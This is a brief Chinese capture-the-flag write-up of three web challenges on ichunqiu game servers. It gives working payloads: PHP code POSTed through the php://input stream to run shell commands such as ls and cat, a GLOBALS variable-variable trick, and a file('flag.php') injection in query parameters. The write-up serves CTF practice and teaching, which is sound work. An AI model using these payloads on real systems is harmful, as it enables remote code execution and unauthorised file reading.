WEB

文件包含

用php input流http://bdeb62721ac64af4910af04b7227c9b4b7b5845aabd245a3.game.ichunqiu.com/?path=php://input
post一个<?php echo`ls`?> 查看一下文件
文件名显示出来了
然后 <?php echo`cat 文件名`?>,我这抓了包才看到的flag

MISC1-web

因为a是$$a 所以直接想到全局变量
http://f6f6f38751224e36bad40fdbf63f76be51bd8b196a2c4a1f.game.ichunqiu.com/?hello=GLOBALS

MISC2-WEB

直接试了下。。。flag就出来了
http://da56a780d2414e9598505f22175d13c7a3d4e36d37e24a77.game.ichunqiu.com/?hello=file(%27flag.php%27)